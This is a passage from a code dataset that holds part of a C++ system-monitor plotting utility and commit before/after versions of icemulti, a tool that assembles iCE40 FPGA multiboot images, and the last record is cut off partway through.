data->emplace_back(ordinal_to_label_map.at(ordinal), static_cast<time_t>(timestamp), std::to_string(value));\n        ++entry_num;\n    }\n\n    \/\/ sort by timestamp\n    std::sort(data->begin(), data->end());\n}\n\n\nvoid GetDataRange(const time_t time_start, const time_t time_end, const std::vector<Datapoint> &data,\n                  std::vector<Datapoint>::const_iterator * const begin, std::vector<Datapoint>::const_iterator * const end)\n{\n    \/\/ The list should be sorted at this point\n    *begin = std::lower_bound(data.begin(), data.end(), Datapoint(\"\", time_start, \"\"));\n    *end = std::upper_bound(data.begin(), data.end(), Datapoint(\"\", time_end, \"\"));\n}\n\n\nunsigned WritePlotDataToDisk(const std::string &output_path, const std::vector<std::string> &labels,\n                         const std::vector<Datapoint>::const_iterator &data_begin, const std::vector<Datapoint>::const_iterator &data_end)\n{\n    \/\/ We expect the values of the labels to use the same axis\/scale\n    \/\/ Columns: Timestamp [Label 1..n]\n    File plot_data(output_path, \"w\");\n\n    plot_data.writeln(\"#\\t\" + StringUtil::Join(labels, '\\t'));\n\n    time_t current_write_timestamp(TimeUtil::BAD_TIME_T);\n    std::map<std::string, std::string> current_write_timestamp_values;\n    unsigned lines_written(0);\n\n    for (auto itr(data_begin); itr != data_end; ++itr) {\n        const auto datapoint(*itr);\n\n        if (current_write_timestamp == datapoint.timestamp_) {\n            current_write_timestamp_values[datapoint.label_] = datapoint.value_;\n            continue;\n        }\n\n        if (not current_write_timestamp_values.empty()) {\n            std::string out_line(std::to_string(current_write_timestamp) + \"\\t\");\n            for (const auto &label : labels) {\n                const auto value(current_write_timestamp_values.find(label));\n                if (value != current_write_timestamp_values.end())\n                    out_line += value->second + \"\\t\";\n                else\n                    out_line += \"\\t\";\n            }\n\n            plot_data.writeln(out_line);\n            ++lines_written;\n        }\n\n        current_write_timestamp = datapoint.timestamp_;\n        current_write_timestamp_values[datapoint.label_] = datapoint.value_;\n    }\n\n    if (not current_write_timestamp_values.empty()) {\n        std::string out_line(std::to_string(current_write_timestamp) + \"\\t\");\n        for (const auto &label : labels) {\n            const auto value(current_write_timestamp_values.find(label));\n            if (value != current_write_timestamp_values.end())\n                out_line += value->second + \"\\t\";\n            else\n                out_line += \"\\t\";\n        }\n\n        plot_data.writeln(out_line);\n        ++lines_written;\n    }\n\n    return lines_written;\n}\n\n\nvoid DisplayPlot(const std::string &data_path, const std::string &script_path, const std::string &plot_path) {\n    if (not FileUtil::Exists(data_path))\n        LOG_ERROR(\"data file for plotting does not exist at \" + data_path);\n    else if (not FileUtil::Exists(script_path))\n        LOG_ERROR(\"script file for plotting does not exist at \" + script_path);\n\n    std::vector<std::string> gnuplot_args {\n        \"-c\",\n        script_path,\n        data_path,\n        plot_path,\n    };\n    ExecUtil::ExecOrDie(\"\/usr\/bin\/gnuplot\", gnuplot_args);\n\n    std::vector<std::string> xdg_args {\n        plot_path\n    };\n\n    ExecUtil::ExecOrDie(\"\/usr\/bin\/xdg-open\", xdg_args);\n}\n\n\nconst std::set<std::string> VALID_SYSTEM_IDS{\n    \"nu\", \"ptah\", \"sobek\", \"ub15\", \"ub16\", \"ub28\"\n};\n\n\nconst std::set<std::string> VALID_COARSE_METRICS{\n    \"cpu\", \"mem\", \"disk\"\n};\n\n\nvoid GetLabelsForCoarseMetric(const std::string &coarse_metric, std::vector<std::string> * const labels) {\n    \/\/ this order needs to be observed in the plotting scripts\n    if (coarse_metric == \"mem\") {\n        labels->emplace_back(\"MemAvailable\");\n        labels->emplace_back(\"Unevictable\");\n        labels->emplace_back(\"SwapFree\");\n    } else if (coarse_metric == \"cpu\")\n        labels->emplace_back(\"CPU\");\n    else if (coarse_metric == \"disk\")\n        ;\n    else\n        LOG_ERROR(\"invalid coarse metric '\" + coarse_metric + \"'\");\n}\n\n\n} \/\/ unnamed namespace\n\n\nint Main(int argc, char *argv[]) {\n    if (argc < 4)\n        Usage();\n\n    const std::string OUTPUT_FILENAME_FLAG_PREFIX(\"--output-filename=\");\n    std::string output_filename;\n    if (StringUtil::StartsWith(argv[1], OUTPUT_FILENAME_FLAG_PREFIX)) {\n        output_filename = argv[1] + OUTPUT_FILENAME_FLAG_PREFIX.length();\n        --argc, ++argv;\n    }\n\n    if (argc != 4)\n        Usage();\n\n    const std::string system_id(TextUtil::UTF8ToLower(argv[1]));\n    const std::string coarse_metric(TextUtil::UTF8ToLower(argv[2]));\n    const std::string time_range(argv[3]);\n\n    if (VALID_SYSTEM_IDS.find(system_id) == VALID_SYSTEM_IDS.end())\n        LOG_ERROR(\"invalid system ID '\" + system_id + \"'\");\n    else {\n        const auto hostname(MiscUtil::SafeGetEnv(\"HOSTNAME\"));\n        if (not StringUtil::StartsWith(hostname, system_id, true))\n            LOG_WARNING(\"attempting to view system monitor data of a system that is not the host. time range may be inaccurate\");\n    }\n\n    time_t time_start, time_end;\n    std::vector<Datapoint> log_data;\n    std::vector<Datapoint>::const_iterator data_range_start, data_range_end;\n    std::vector<std::string> labels;\n\n    ParseTimeRange(time_range, &time_start, &time_end);\n    GetLabelsForCoarseMetric(coarse_metric, &labels);\n\n    const IniFile ini_file(UBTools::GetTuelibPath() + FileUtil::GetBasename(::progname) + \".conf\");\n    const auto log_file(ini_file.getString(\"Logs\", system_id));\n    const auto plot_data_file(ini_file.getString(\"Default Plotting Inputs\", coarse_metric));\n    const auto plot_script_file(ini_file.getString(\"Plotting Scripts\", coarse_metric));\n    if (output_filename.empty())\n        output_filename = ini_file.getString(\"Default Plotting Outputs\", coarse_metric);\n\n    std::unordered_map<uint8_t, std::string> ordinal_to_label_map;\n    const IniFile monitor_ini_file(UBTools::GetTuelibPath() + \"\/system_monitor.conf\");\n    for (const auto &entry : *monitor_ini_file.getSection(\"Label Ordinals\"))\n        ordinal_to_label_map[StringUtil::ToUnsigned(entry.name_)] = entry.value_;\n\n\n    LoadSystemMonitorLog(log_file, ordinal_to_label_map, &log_data);\n    GetDataRange(time_start, time_end, log_data, &data_range_start, &data_range_end);\n\n    if (data_range_start == log_data.end())\n        LOG_ERROR(\"found no data that was newer than the given range's beginning\");\n\n    if (time_end == TimeUtil::BAD_TIME_T) {\n        \/\/ print out the closest data point\n        if (data_range_start->timestamp_ == time_start)\n            LOG_INFO(\"Data for exact time point (\" + TimeUtil::TimeTToString(time_start) + \"):\");\n        else\n            LOG_INFO(\"Data for closest time point (\" + TimeUtil::TimeTToString(time_start) + \"):\");\n\n        const auto datapoint_timestamp(data_range_start->timestamp_);\n        while (data_range_start != log_data.end() and data_range_start->timestamp_ == datapoint_timestamp)\n            LOG_INFO(\"\\t\" + data_range_start->label_ + \" = \" + data_range_start->value_);\n\n        return EXIT_SUCCESS;\n    }\n\n    if (WritePlotDataToDisk(plot_data_file, labels, data_range_start, data_range_end) == 0)\n        LOG_WARNING(\"found no data for the given time range\");\n    else\n        DisplayPlot(plot_data_file, plot_script_file, output_filename);\n\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  Copyright (C) 2015  Marcus Comstedt <marcus@mc.pp.se>\n\/\/\n\/\/  Permission to use, copy, modify, and\/or distribute this software for any\n\/\/  purpose with or without fee is hereby granted, provided that the above\n\/\/  copyright notice and this permission notice appear in all copies.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n\/\/  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n\/\/  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n\/\/  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n\/\/  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n\/\/  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n\/\/  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\/\/\n\n#include <fstream>\n#include <iostream>\n#include <cstdint>\n#include <memory>\n\n#include <getopt.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define log(...) fprintf(stderr, __VA_ARGS__);\n#define info(...) do { if (log_level > 0) fprintf(stderr, __VA_ARGS__); } while (0)\n#define error(...) do { fprintf(stderr, \"%s: \", program_short_name); fprintf(stderr, __VA_ARGS__); exit(EXIT_FAILURE); } while (0)\n\nstatic char *program_short_name;\n\nint log_level = 0;\n\nstatic const int NUM_IMAGES = 4;\nstatic const int HEADER_SIZE = 32;\n\nstatic void align_offset(uint32_t &offset, int bits)\n{\n    uint32_t mask = (1 << bits) - 1;\n    if (offset & mask)\n        offset = (offset | mask) + 1;\n}\n\nstatic void write_byte(std::ostream &ofs, uint32_t &file_offset, uint8_t byte)\n{\n    ofs << byte;\n    file_offset++;\n}\n\nstatic void write_bytes(std::ostream &ofs, uint32_t &file_offset,\n                        const uint8_t *buf, size_t n)\n{\n    if (n > 0) {\n        ofs.write(reinterpret_cast<const char*>(buf), n);\n        file_offset += n;\n    }\n}\n\nstatic void write_file(std::ostream &ofs, uint32_t &file_offset,\n                       std::istream &ifs, const char *filename)\n{\n    const size_t bufsize = 8192;\n    uint8_t *buffer = new uint8_t[bufsize];\n\n    while(!ifs.eof()) {\n        ifs.read(reinterpret_cast<char *>(buffer), bufsize);\n        if (ifs.bad())\n            error(\"can't read input image `%s': %s\\n\", filename, strerror(errno));\n        write_bytes(ofs, file_offset, buffer, ifs.gcount());\n    }\n\n    delete[] buffer;\n}\n\nstatic void pad_to(std::ostream &ofs, uint32_t &file_offset, uint32_t target)\n{\n    if (target < file_offset)\n        error(\"Trying to pad backwards!\\n\");\n    while(file_offset < target)\n        write_byte(ofs, file_offset, 0xff);\n}\n\nclass Image {\n    const char *filename;\n    std::ifstream ifs;\n    uint32_t offs;\n\npublic:\n    Image(const char *filename);\n    size_t size();\n    void write(std::ostream &ofs, uint32_t &file_offset);\n    void place(uint32_t o) { offs = o; }\n    uint32_t offset() const { return offs; }\n};\n\nImage::Image(const char *filename) : filename(filename), ifs(filename, std::ifstream::binary)\n{\n    if (ifs.fail())\n        error(\"can't open input image `%s': %s\\n\", filename, strerror(errno));\n}\n\nsize_t Image::size()\n{\n    ifs.seekg (0, ifs.end);\n    if (ifs.fail())\n        error(\"can't seek on input image `%s': %s\\n\", filename, strerror(errno));\n    size_t length = ifs.tellg();\n    ifs.seekg (0, ifs.beg);\n    if (ifs.fail())\n        error(\"can't seek on input image `%s': %s\\n\", filename, strerror(errno));\n\n    if (length == 0)\n        error(\"input image `%s' doesn't contain any data\\n\", filename);\n    return length;\n}\n\nvoid Image::write(std::ostream &ofs, uint32_t &file_offset)\n{\n    write_file(ofs, file_offset, ifs, filename);\n}\n\nstatic void write_header(std::ostream &ofs, uint32_t &file_offset,\n                         Image const *image, bool coldboot)\n{\n    \/\/ Preamble\n    write_byte(ofs, file_offset, 0x7e);\n    write_byte(ofs, file_offset, 0xaa);\n    write_byte(ofs, file_offset, 0x99);\n    write_byte(ofs, file_offset, 0x7e);\n\n    \/\/ Boot mode\n    write_byte(ofs, file_offset, 0x92);\n    write_byte(ofs, file_offset, 0x00);\n    write_byte(ofs, file_offset, coldboot ? 0x10 : 0x00);\n\n    \/\/ Boot address\n    write_byte(ofs, file_offset, 0x44);\n    write_byte(ofs, file_offset, 0x03);\n    write_byte(ofs, file_offset, (image->offset() >> 16) & 0xff);\n    write_byte(ofs, file_offset, (image->offset() >> 8) & 0xff);\n    write_byte(ofs, file_offset, image->offset() & 0xff);\n\n    \/\/ Bank offset\n    write_byte(ofs, file_offset, 0x82);\n    write_byte(ofs, file_offset, 0x00);\n    write_byte(ofs, file_offset, 0x00);\n\n    \/\/ Reboot\n    write_byte(ofs, file_offset, 0x01);\n    write_byte(ofs, file_offset, 0x08);\n\n    \/\/ Zero out any unused bytes\n    while (file_offset & (HEADER_SIZE - 1))\n        write_byte(ofs, file_offset, 0x00);\n}\n\nvoid usage()\n{\n    log(\"\\n\");\n    log(\"Usage: icemulti [options] input-files\\n\");\n    log(\"\\n\");\n    log(\" -c\\n\");\n    log(\" coldboot mode, power on reset image is selected by CBSEL0\/CBSEL1\\n\");\n    log(\"\\n\");\n    log(\" -p0, -p1, -p2, -p3\\n\");\n    log(\" select power on reset image when not using coldboot mode\\n\");\n    log(\"\\n\");\n    log(\" -a<n>, -A<n>\\n\");\n    log(\" align images at 2^<n> bytes. -A also aligns image 0.\\n\");\n    log(\"\\n\");\n    log(\" -o filename\\n\");\n    log(\" write output image to file instead of stdout\\n\");\n    log(\"\\n\");\n    log(\" -v\\n\");\n    log(\" verbose (repeat to increase verbosity)\\n\");\n    log(\"\\n\");\n    exit(EXIT_FAILURE);\n}\n\nint main(int argc, char **argv)\n{\n    int c;\n    char *endptr = NULL;\n    bool coldboot = false;\n    int por_image = 0;\n    int header_count = 0;\n    int image_count = 0;\n    int align_bits = 0;\n    bool align_first = false;\n    Image *header_images[NUM_IMAGES];\n    std::unique_ptr<Image> images[NUM_IMAGES];\n    const char *outfile_name = NULL;\n\n    static struct option long_options[] = {\n        {NULL, 0, NULL, 0}\n    };\n\n    program_short_name = strrchr(argv[0], '\/');\n    if (program_short_name == NULL)\n        program_short_name = argv[0];\n    else\n        program_short_name++;\n\n    while ((c = getopt_long(argc, argv, \"cp:a:A:o:v\",\n                long_options, NULL)) != -1)\n        switch (c) {\n            case 'c':\n                coldboot = true;\n                break;\n            case 'p':\n                if (optarg[0] == '0' && optarg[1] == '\\0')\n                    por_image = 0;\n                else if (optarg[0] == '1' && optarg[1] == '\\0')\n                    por_image = 1;\n                else if (optarg[0] == '2' && optarg[1] == '\\0')\n                    por_image = 2;\n                else if (optarg[0] == '3' && optarg[1] == '\\0')\n                    por_image = 3;\n                else\n                    error(\"`%s' is not a valid power-on\/reset image (must be 0, 1, 2, or 3)\\n\", optarg);\n                break;\n            case 'A':\n                align_first = true;\n                \/* fallthrough *\/\n            case 'a':\n                align_bits = strtol(optarg, &endptr, 0);\n                if (*endptr != '\\0')\n                    error(\"`%s' is not a valid number\\n\", optarg);\n                if (align_bits < 0)\n                    error(\"argument to `-%c' must be non-negative\\n\", c);\n                break;\n            case 'o':\n                outfile_name = optarg;\n                break;\n            case 'v':\n                log_level++;\n                break;\n            default:\n                usage();\n        }\n\n    if (optind == argc) {\n        fprintf(stderr, \"%s: missing argument\\n\", program_short_name);\n        usage();\n    }\n\n    while (optind != argc) {\n        if (header_count >= NUM_IMAGES)\n            error(\"Too many images supplied\\n\");\n        images[image_count].reset(new Image(argv[optind++]));\n        header_images[header_count] = &*images[image_count];\n        header_count++;\n        image_count++;\n    }\n\n    if (coldboot && por_image != 0)\n        error(\"Can't select power on reset boot image in cold boot mode\\n\");\n\n    if (por_image >= header_count)\n        error(\"Specified non-existing image for power on reset\\n\");\n\n    \/\/ Place images\n    uint32_t offs = (NUM_IMAGES + 1) * HEADER_SIZE;\n    if (align_first)\n        align_offset(offs, align_bits);\n    for (int i=0; i<image_count; i++) {\n        images[i]->place(offs);\n        offs += images[i]->size();\n        align_offset(offs, align_bits);\n        info(\"Place image %d at %06x .. %06x.\\n\", i, int(images[i]->offset()), int(offs));\n    }\n\n    \/\/ Populate headers\n    for (int i=header_count; i < NUM_IMAGES; i++)\n        header_images[i] = header_images[por_image];\n\n    std::ofstream ofs;\n    std::ostream *osp;\n\n    if (outfile_name != NULL) {\n        ofs.open(outfile_name, std::ofstream::binary);\n        if (!ofs.is_open())\n            error(\"can't open output file `%s': %s\\n\", outfile_name, strerror(errno));\n        osp = &ofs;\n    } else {\n        osp = &std::cout;\n    }\n\n    uint32_t file_offset = 0;\n    for (int i=0; i<NUM_IMAGES + 1; i++)\n    {\n        pad_to(*osp, file_offset, i * HEADER_SIZE);\n        if (i == 0)\n            write_header(*osp, file_offset, header_images[por_image], coldboot);\n        else\n            write_header(*osp, file_offset, header_images[i - 1], false);\n    }\n    for (int i=0; i<image_count; i++)\n    {\n        pad_to(*osp, file_offset, images[i]->offset());\n        images[i]->write(*osp, file_offset);\n    }\n\n    info(\"Done.\\n\");\n    return EXIT_SUCCESS;\n}\n<commit_msg>icemulti: Treat offset printing like ordinary flag<commit_after>\/\/\n\/\/  Copyright (C) 2015  Marcus Comstedt <marcus@mc.pp.se>\n\/\/\n\/\/  Permission to use, copy, modify, and\/or distribute this software for any\n\/\/  purpose with or without fee is hereby granted, provided that the above\n\/\/  copyright notice and this permission notice appear in all copies.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n\/\/  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n\/\/  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n\/\/  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n\/\/  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n\/\/  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n\/\/  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\/\/\n\n#include <fstream>\n#include <iostream>\n#include <cstdint>\n#include <memory>\n\n#include <getopt.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define log(...) fprintf(stderr, __VA_ARGS__);\n#define error(...) do { fprintf(stderr, \"%s: \", program_short_name); fprintf(stderr, __VA_ARGS__); exit(EXIT_FAILURE); } while (0)\n\nstatic char *program_short_name;\n\nstatic const int NUM_IMAGES = 4;\nstatic const int HEADER_SIZE = 32;\n\nstatic void align_offset(uint32_t &offset, int bits)\n{\n    uint32_t mask = (1 << bits) - 1;\n    if (offset & mask)\n        offset = (offset | mask) + 1;\n}\n\nstatic void write_byte(std::ostream &ofs, uint32_t &file_offset, uint8_t byte)\n{\n    ofs << byte;\n    file_offset++;\n}\n\nstatic void write_bytes(std::ostream &ofs, uint32_t &file_offset,\n                        const uint8_t *buf, size_t n)\n{\n    if (n > 0) {\n        ofs.write(reinterpret_cast<const char*>(buf), n);\n        file_offset += n;\n    }\n}\n\nstatic void write_file(std::ostream &ofs, uint32_t &file_offset,\n                       std::istream &ifs, const char *filename)\n{\n    const size_t bufsize = 8192;\n    uint8_t *buffer = new uint8_t[bufsize];\n\n    while(!ifs.eof()) {\n        ifs.read(reinterpret_cast<char *>(buffer), bufsize);\n        if (ifs.bad())\n            error(\"can't read input image `%s': %s\\n\", filename, strerror(errno));\n        write_bytes(ofs, file_offset, buffer, ifs.gcount());\n    }\n\n    delete[] buffer;\n}\n\nstatic void pad_to(std::ostream &ofs, uint32_t &file_offset, uint32_t target)\n{\n    if (target < file_offset)\n        error(\"Trying to pad backwards!\\n\");\n    while(file_offset < target)\n        write_byte(ofs, file_offset, 0xff);\n}\n\nclass Image {\n    const char *filename;\n    std::ifstream ifs;\n    uint32_t offs;\n\npublic:\n    Image(const char *filename);\n    size_t size();\n    void write(std::ostream &ofs, uint32_t &file_offset);\n    void place(uint32_t o) { offs = o; }\n    uint32_t offset() const { return offs; }\n};\n\nImage::Image(const char *filename) : filename(filename), ifs(filename, std::ifstream::binary)\n{\n    if (ifs.fail())\n        error(\"can't open input image `%s': %s\\n\", filename, strerror(errno));\n}\n\nsize_t Image::size()\n{\n    ifs.seekg (0, ifs.end);\n    if (ifs.fail())\n        error(\"can't seek on input image `%s': %s\\n\", filename, strerror(errno));\n    size_t length = ifs.tellg();\n    ifs.seekg (0, ifs.beg);\n    if (ifs.fail())\n        error(\"can't seek on input image `%s': %s\\n\", filename, strerror(errno));\n\n    if (length == 0)\n        error(\"input image `%s' doesn't contain any data\\n\", filename);\n    return length;\n}\n\nvoid Image::write(std::ostream &ofs, uint32_t &file_offset)\n{\n    write_file(ofs, file_offset, ifs, filename);\n}\n\nstatic void write_header(std::ostream &ofs, uint32_t &file_offset,\n                         Image const *image, bool coldboot)\n{\n    \/\/ Preamble\n    write_byte(ofs, file_offset, 0x7e);\n    write_byte(ofs, file_offset, 0xaa);\n    write_byte(ofs, file_offset, 0x99);\n    write_byte(ofs, file_offset, 0x7e);\n\n    \/\/ Boot mode\n    write_byte(ofs, file_offset, 0x92);\n    write_byte(ofs, file_offset, 0x00);\n    write_byte(ofs, file_offset, coldboot ? 0x10 : 0x00);\n\n    \/\/ Boot address\n    write_byte(ofs, file_offset, 0x44);\n    write_byte(ofs, file_offset, 0x03);\n    write_byte(ofs, file_offset, (image->offset() >> 16) & 0xff);\n    write_byte(ofs, file_offset, (image->offset() >> 8) & 0xff);\n    write_byte(ofs, file_offset, image->offset() & 0xff);\n\n    \/\/ Bank offset\n    write_byte(ofs, file_offset, 0x82);\n    write_byte(ofs, file_offset, 0x00);\n    write_byte(ofs, file_offset, 0x00);\n\n    \/\/ Reboot\n    write_byte(ofs, file_offset, 0x01);\n    write_byte(ofs, file_offset, 0x08);\n\n    \/\/ Zero out any unused bytes\n    while (file_offset & (HEADER_SIZE - 1))\n        write_byte(ofs, file_offset, 0x00);\n}\n\nvoid usage()\n{\n    log(\"\\n\");\n    log(\"Usage: icemulti [options] input-files\\n\");\n    log(\"\\n\");\n    log(\" -c\\n\");\n    log(\" coldboot mode, power on reset image is selected by CBSEL0\/CBSEL1\\n\");\n    log(\"\\n\");\n    log(\" -p0, -p1, -p2, -p3\\n\");\n    log(\" select power on reset image when not using coldboot mode\\n\");\n    log(\"\\n\");\n    log(\" -a<n>, -A<n>\\n\");\n    log(\" align images at 2^<n> bytes. -A also aligns image 0.\\n\");\n    log(\"\\n\");\n    log(\" -o filename\\n\");\n    log(\" write output image to file instead of stdout\\n\");\n    log(\"\\n\");\n    log(\" -v\\n\");\n    log(\" verbose (repeat to increase verbosity)\\n\");\n    log(\"\\n\");\n    exit(EXIT_FAILURE);\n}\n\nint main(int argc, char **argv)\n{\n    int c;\n    char *endptr = NULL;\n    bool coldboot = false;\n    int por_image = 0;\n    int header_count = 0;\n    int image_count = 0;\n    int align_bits = 0;\n    bool align_first = false;\n    Image *header_images[NUM_IMAGES];\n    std::unique_ptr<Image> images[NUM_IMAGES];\n    const char *outfile_name = NULL;\n    bool print_offsets = false;\n\n    static struct option long_options[] = {\n        {NULL, 0, NULL, 0}\n    };\n\n    program_short_name = strrchr(argv[0], '\/');\n    if (program_short_name == NULL)\n        program_short_name = argv[0];\n    else\n        program_short_name++;\n\n    while ((c = getopt_long(argc, argv, \"cp:a:A:o:v\",\n                long_options, NULL)) != -1)\n        switch (c) {\n            case 'c':\n                coldboot = true;\n                break;\n            case 'p':\n                if (optarg[0] == '0' && optarg[1] == '\\0')\n                    por_image = 0;\n                else if (optarg[0] == '1' && optarg[1] == '\\0')\n                    por_image = 1;\n                else if (optarg[0] == '2' && optarg[1] == '\\0')\n                    por_image = 2;\n                else if (optarg[0] == '3' && optarg[1] == '\\0')\n                    por_image = 3;\n                else\n                    error(\"`%s' is not a valid power-on\/reset image (must be 0, 1, 2, or 3)\\n\", optarg);\n                break;\n            case 'A':\n                align_first = true;\n                \/* fallthrough *\/\n            case 'a':\n                align_bits = strtol(optarg, &endptr, 0);\n                if (*endptr != '\\0')\n                    error(\"`%s' is not a valid number\\n\", optarg);\n                if (align_bits < 0)\n                    error(\"argument to `-%c' must be non-negative\\n\", c);\n                break;\n            case 'o':\n                outfile_name = optarg;\n                break;\n            case 'v':\n                print_offsets = true;\n                break;\n            default:\n                usage();\n        }\n\n    if (optind == argc) {\n        fprintf(stderr, \"%s: missing argument\\n\", program_short_name);\n        usage();\n    }\n\n    while (optind != argc) {\n        if (header_count >= NUM_IMAGES)\n            error(\"Too many images supplied\\n\");\n        images[image_count].reset(new Image(argv[optind++]));\n        header_images[header_count] = &*images[image_count];\n        header_count++;\n        image_count++;\n    }\n\n    if (coldboot && por_image != 0)\n        error(\"Can't select power on reset boot image in cold boot mode\\n\");\n\n    if (por_image >= header_count)\n        error(\"Specified non-existing image for power on reset\\n\");\n\n    \/\/ Place images\n    uint32_t offs = (NUM_IMAGES + 1) * HEADER_SIZE;\n    if (align_first)\n        align_offset(offs, align_bits);\n    for (int i=0; i<image_count; i++) {\n        images[i]->place(offs);\n        offs += images[i]->size();\n        align_offset(offs, align_bits);\n        if (print_offsets)\n            fprintf(stderr, \"Place image %d at %06x .. %06x.\\n\", i, int(images[i]->offset()), int(offs));\n    }\n\n    \/\/ Populate headers\n    for (int i=header_count; i < NUM_IMAGES; i++)\n        header_images[i] = header_images[por_image];\n\n    std::ofstream ofs;\n    std::ostream *osp;\n\n    if (outfile_name != NULL) {\n        ofs.open(outfile_name, std::ofstream::binary);\n        if (!ofs.is_open())\n            error(\"can't open output file `%s': %s\\n\", outfile_name, strerror(errno));\n        osp = &ofs;\n    } else {\n        osp = &std::cout;\n    }\n\n    uint32_t file_offset = 0;\n    for (int i=0; i<NUM_IMAGES + 1; i++)\n    {\n        pad_to(*osp, file_offset, i * HEADER_SIZE);\n        if (i == 0)\n            write_header(*osp, file_offset, header_images[por_image], coldboot);\n        else\n            write_header(*osp, file_offset, header_images[i - 1], false);\n    }\n    for (int i=0; i<image_count; i++)\n    {\n        pad_to(*osp, file_offset, images[i]->offset());\n        images[i]->write(*osp, file_offset);\n    }\n\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  Copyright (C) 2015  Marcus Comstedt <marcus@mc.pp.se>\n\/\/\n\/\/  Permission to use, copy, modify, and\/or distribute this software for any\n\/\/  purpose with or without fee is hereby granted, provided that the above\n\/\/  copyright notice and this permission notice appear in all copies.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n\/\/  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n\/\/  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n\/\/  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n\/\/  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n\/\/  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n\/\/  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\/\/\n\n#include <fstream>\n#include <iostream>\n#include <cstdint>\n#include <memory>\n\n#include <getopt.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define log(...) fprintf(stderr, __VA_ARGS__);\n#define info(...) do { if (log_level > 0) fprintf(stderr, __VA_ARGS__); } while (0)\n#define error(...) do { fprintf(stderr, \"%s: \", program_short_name); fprintf(stderr, __VA_ARGS__); exit(EXIT_FAILURE); } while (0)\n\nstatic char *program_short_name;\n\nint log_level = 0;\n\nstatic const int NUM_IMAGES = 4;\nstatic const int NUM_HEADERS = NUM_IMAGES + 1;\nstatic const int HEADER_SIZE = 32;\n\nstatic void align_offset(uint32_t &offset, int bits)\n{\n    uint32_t mask = (1 << bits) - 1;\n    if (offset & mask)\n        offset = (offset | mask) + 1;\n}\n\nstatic void write_byte(std::ostream &ofs, uint32_t &file_offset, uint8_t byte)\n{\n    ofs << byte;\n    file_offset++;\n}\n\nstatic void write_bytes(std::ostream &ofs, uint32_t &file_offset,\n                        const uint8_t *buf, size_t n)\n{\n    if (n > 0) {\n        ofs.write(reinterpret_cast<const char*>(buf), n);\n        file_offset += n;\n    }\n}\n\nstatic void write_file(std::ostream &ofs, uint32_t &file_offset,\n                       std::istream &ifs, const char *filename)\n{\n    const size_t bufsize = 8192;\n    uint8_t *buffer = new uint8_t[bufsize];\n\n    while(!ifs.eof()) {\n        ifs.read(reinterpret_cast<char *>(buffer), bufsize);\n        if (ifs.bad())\n            error(\"can't read input image `%s': %s\\n\", filename, strerror(errno));\n        write_bytes(ofs, file_offset, buffer, ifs.gcount());\n    }\n\n    delete[] buffer;\n}\n\nstatic void pad_to(std::ostream &ofs, uint32_t &file_offset, uint32_t target)\n{\n    if (target < file_offset)\n        error(\"Trying to pad backwards!\\n\");\n    while(file_offset < target)\n        write_byte(ofs, file_offset, 0xff);\n}\n\nclass Image {\n    const char *filename;\n    std::ifstream ifs;\n    uint32_t offs;\n\npublic:\n    Image(const char *filename);\n    size_t size();\n    void write(std::ostream &ofs, uint32_t &file_offset);\n    void place(uint32_t o) { offs = o; }\n    uint32_t offset() const { return offs; }\n};\n\nImage::Image(const char *filename) : filename(filename), ifs(filename, std::ifstream::binary)\n{\n    if (ifs.fail())\n        error(\"can't open input image `%s': %s\\n\", filename, strerror(errno));\n}\n\nsize_t Image::size()\n{\n    ifs.seekg (0, ifs.end);\n    if (ifs.fail())\n        error(\"can't seek on input image `%s': %s\\n\", filename, strerror(errno));\n    size_t length = ifs.tellg();\n    ifs.seekg (0, ifs.beg);\n    if (ifs.fail())\n        error(\"can't seek on input image `%s': %s\\n\", filename, strerror(errno));\n\n    if (length == 0)\n        error(\"input image `%s' doesn't contain any data\\n\", filename);\n    return length;\n}\n\nvoid Image::write(std::ostream &ofs, uint32_t &file_offset)\n{\n    write_file(ofs, file_offset, ifs, filename);\n}\n\nstatic void write_header(std::ostream &ofs, uint32_t &file_offset,\n                         Image const *image, bool coldboot)\n{\n    \/\/ Preamble\n    write_byte(ofs, file_offset, 0x7e);\n    write_byte(ofs, file_offset, 0xaa);\n    write_byte(ofs, file_offset, 0x99);\n    write_byte(ofs, file_offset, 0x7e);\n\n    \/\/ Boot mode\n    write_byte(ofs, file_offset, 